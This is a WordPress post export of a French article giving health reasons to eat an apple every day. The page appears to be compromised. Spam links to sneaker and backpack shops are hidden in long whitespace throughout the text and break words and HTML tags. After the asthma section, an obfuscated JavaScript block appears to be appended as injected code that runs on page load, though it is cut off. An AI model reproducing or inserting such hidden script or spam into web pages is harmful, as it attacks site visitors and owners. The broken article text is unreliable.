{"id":11351,"date":"2015-08-10T22:19:25","date_gmt":"2015-08-10T20:19:25","guid":{"rendered":"http:\/\/www.lapressedefrance.fr\/news\/?p=11351"},"modified":"2023-06-18T12:16:53","modified_gmt":"2023-06-18T10:16:53","slug":"bonnes-raisons-pour-manger-une-pomme-tous-les-jours","status":"publish","type":"post","link":"https:\/\/lapressedefrance.fr\/news\/bonnes-raisons-pour-manger-une-pomme-tous-les-jours\/","title":{"rendered":"Bonnes raisons pour manger une pomme tous les jours"},"content":{"rendered":"<div style=\"padding-bottom:20px; padding-top:10px;\" class=\"hupso-share-buttons\"><!-- Hupso Share Buttons - http:\/\/www.hupso.com\/share\/ --><a class=\"hupso_counters\" href=\"http:\/\/www.hupso.com\/share\/\"><img decoding=\"async\" src=\"https:\/\/static.hupso.com\/share\/buttons\/lang\/fr\/share-small.png\" style=\"border:0px; padding-top:2px; float:left;\" alt=\"Share Button\"\/><\/a><script type=\"text\/javascript\">var hupso_services_c=new Array(\"twitter\",\"facebook_like\",\"google\",\"pinterest\",\"email\",\"linkedin\");var hupso_counters_lang = \"fr_FR\";var hupso_image_folder_url = \"\";var hupso_url_c=\"\";var hupso_title_c=\"Bonnes raisons pour manger une pomme tous les jours\";<\/script><script type=\"text\/javascript\" src=\"https:\/\/static.hupso.com\/share\/js\/counters.js\"><\/script><!-- Hupso Share Buttons --><\/div><p>La pomme est parmi les fruits sains et les plus abordables.                                       >goedkoop nike air max<\/a> Extr\u00eamement riche en antioxydants, vitamine C et  fibres. Les pommes ont de nombreux avantages pour la sant\u00e9, et nous vous donnons plus de 11 raisons pour manger une pomme quotidiennement (en plus d\u2019\u00e9viter les visites r\u00e9p\u00e9t\u00e9es au m\u00e9decin). <strong>1. la perte de poids<\/strong                                                                                            \"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-11352\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/perte-de-poids-600x400.jpg\" alt=\"Cherry red summer apple isolated on white, macro close up with copy space\" width=\"473\" height=\"315\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/perte-de-poids-600x400.jpg 600w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/perte-de-poids-200x133.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/perte-de-poids-1500x1000.jpg 1500w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/perte-de-poids-624x416.jpg 624w\" sizes=\"(max-width: 473px) 100vw, 473px\" \/><\/a> &nbsp; Avec plus d&#8217;un tiers de la population adulte consid\u00e9r\u00e9e comme ob\u00e8se, la capacit\u00e9 de la pomme \u00e0 favoriser la perte de poids est en effet une bonne nouvelle. Deux propri\u00e9t\u00e9s de ce fruit qui en font un aliment de perte de poids qui sont sa teneur \u00e9lev\u00e9e en fibres et sa faible densit\u00e9 \u00e9nerg\u00e9tique. Plusieurs \u00e9tudes ont d\u00e9montr\u00e9e que ses deux propri\u00e9t\u00e9s sont li\u00e9es \u00e0 une r\u00e9duction calorique et une importante perte de poids \u00e0 long terme. Selon une \u00e9tude, les participants ayant consomm\u00e9 1,5 grosses pommes (environ 300 grammes) tous les jours ont perdu 2,9 kilos sur une p\u00e9riode de 12 semaines                                                 \/&#8221;>fjallraven kanken backpack sale<\/a> Une autre \u00e9tude a \u00e9galement montr\u00e9 que manger des pommes, en particulier la moiti\u00e9 une heure ou une heure avant les repas, contribue \u00e0 r\u00e9duire l&#8217;apport calorique et contribue ainsi \u00e0 la perte de poids. Pour cette raison, inclure les pommes dans votre r\u00e9gime amaigrissant est hautement recommand\u00e9. Pour un meilleur effet de perte de poids, manger une pomme une demi-heure avant les repas. &nbsp; <strong>2. abaisser le niveau de la glyc\u00e9mie &amp; prot\u00e8ge contre le diab\u00e8te<\/stron                                                                                            g\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-11353\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/contre-diabete.jpg\" alt=\"contre diabete\" width=\"400\" height=\"400\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/contre-diabete.jpg 400w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/contre-diabete-200x200.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/contre-diabete-45x45.jpg 45w\" sizes=\"(max-width: 400px) 100vw, 400px\" \/><\/a> &nbsp; Des \u00e9tudes ont indiqu\u00e9 que les pommes peuvent aider \u00e0 r\u00e9duire le niveau de sucre dans le sang et prot\u00e9ger contre le diab\u00e8te de Type                                                                                 ml&#8221;>asics gel kinsei donna<\/a> Dans une \u00e9tude, les participants ayant consomm\u00e9 une ou plusieurs pommes tous les jours ont \u00e9t\u00e9 signal\u00e9s comme ayant presque 30 % en moins de risque pour d\u00e9velopper un diab\u00e8te Type 2. C&#8217;est parce que les pommes sont extr\u00eamement riches en fibres qui lorsqu&#8217;elles sont consomm\u00e9es en grandes quantit\u00e9s am\u00e9liorent le contr\u00f4le glyc\u00e9mique. Elles contiennent aussi des antioxydants qui ralentissent la digestion des sucr                                                 ge\/&#8221;>nike air max homme pas cher<\/a> Gr\u00e2ce \u00e0 ces deux \u00e9l\u00e9ments nutritifs principalement, la pomme est un bon choix pour quelqu&#8217;un qui est diab\u00e9tique ou pr\u00e9diab\u00e9ti                                                                       mini&#8221;>Fjallraven Kanken mini<\/a> &nbsp; <stro                                                                         .html\">Under Armour Curry 3.0<\/a> pr\u00e9vient les maladies cardiovasculaires<\/s                                                                                              e.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-11355\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/cardiovasculaire.jpg\" alt=\"cardiovasculaire\" width=\"555\" height=\"555\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/cardiovasculaire.jpg 555w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/cardiovasculaire-200x200.jpg 200w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/cardiovasculaire-45x45.jpg 45w\" sizes=\"(max-width: 555px) 100vw, 555px\" \/><\/a> &nbsp; De nombreuses \u00e9tudes ont \u00e9t\u00e9 effectu\u00e9es pour \u00e9tudier la relation entre les pommes et les facteurs de risque de maladie card                                                                                                         prezzo&#8221;>new balance 373 uomo prezzo<\/a> Dans une \u00e9tude animale, manger des pommes a r\u00e9duit le taux de cholest\u00e9rol total et l&#8217;accumulation de plaque dans les ar                                                                                     ey.html&#8221;>Kyle Hendricks Authentic Jersey<\/a> Les niveaux de cholest\u00e9rol et accumulation de plaque sont des facteurs de risque de maladie cardiaque. Si les r\u00e9sultats de cette \u00e9tude animale \u00e9taient vrais pour l&#8217;homme ainsi, cela voudrait dire que manger des pommes peut aider \u00e0 prot\u00e9ger contre les maladies cardiaques. Dans une \u00e9tude effectu\u00e9e sur les humains par des chercheurs de la Finlande, le risque de mort \u00e0 cause de maladies cardiovasculaires \u00e9tait 43 % inf\u00e9rieure chez les femmes et 19 % chez les hommes qui mangeaient plus de 1,9 onces (54 g) de pommes tous les jours. &nbsp; <strong>4. prot\u00e8ge contre le Cancer<\/strong                                                                                                      cer.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-11356\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/protege-contre-le-cancer.jpg\" alt=\"protege contre le cancer\" width=\"450\" height=\"300\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/protege-contre-le-cancer.jpg 450w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/protege-contre-le-cancer-200x133.jpg 200w\" sizes=\"(max-width: 450px) 100vw, 450px\" \/><\/a> &nbsp; Dans une \u00e9tude baptis\u00e9e \u00ab une pomme par jour contribue-t-elle \u00e0 \u00e9loigner un oncologue? \u00bb, les participants qui ont mang\u00e9 une pomme par jour ou plus se sont av\u00e9r\u00e9 comme ayant un risque inf\u00e9rieur de cancer. Des scientifiques de l&#8217;American Association for Cancer Research recommandent aussi la consommation de pommes, qui selon eux, peut r\u00e9duire le risque de contracter un cancer du pancr\u00e9as de 23 %. Plusieurs autres chercheurs ont pr\u00e9tendu que les pommes peuvent prot\u00e9ger contre les cancers. Par exemple, des chercheurs de l&#8217;Universit\u00e9 Cornell ont r\u00e9ussi \u00e0 identifier de nombreux compos\u00e9s dans la pelure de pomme qui aident \u00e0 combattre les cellules canc\u00e9reuses dans le cancer du sein, du foie et du c\u00f4lon. &nbsp; <strong>5. emp\u00eache l&#8217;asthme<\/strong                                                                                    hme.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-11358\" src=\"http:\/\/www.lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/asthme.jpg\" alt=\"asthme\" width=\"540\" height=\"477\" srcset=\"https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/asthme.jpg 540w, https:\/\/lapressedefrance.fr\/news\/wp-content\/uploads\/2015\/11\/asthme-200x177.jpg 200w\" sizes=\"(max-width: 540px) 100vw, 540px\" \/><\/a> &nbsp; Manger les pommes est bon pour la gestion et la pr\u00e9vention de l&#8217;asthme. Selon une \u00e9tude britannique, les personnes qui mangeaient des pommes de 2 \u00e0 5 chaque semaine \u00e9taient environ 30 % moins susceptibles de souffrir d&#8217;asthme que ceux qui n&#8217;en ont pas mang\u00e9. Cela est attribuable \u00e0 ce que les pommes sont une bonne source de flavono\u00efdes, qui peut aider \u00e0 r\u00e9duire l&#8217;inflammation dans les voies respiratoires. Une autre raison est sa teneur en acides ph\u00e9noliq                                               ella.it\/&#8221;>Scarpe Jordan<\/a><\/li>\n<p> Ces acides aident les patients souffrant d&#8217;asthme de respirer plus librement, r\u00e9duisant le besoin en m\u00e9dicaments. En outre, manger des pommes est un bon moyen d&#8217;obtenir vos besoins quotidiens en vitamine C. La Vitamine C non seulement aide \u00e0 soulager l&#8217;inflammation des voies respiratoires, mais conserve \u00e9galement les poumons sains et forts. Il renforce \u00e9galement le syst\u00e8me immunitaire. \u00c0 son tour, un syst\u00e8me immunitaire plus fort aide \u00e0 soulager les sympt\u00f4mes d&#8217;asthme.<br \/>\n<script>function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return _0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let _0x2d38c6=_0x10c8dc[_0x3023c3];return _0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const 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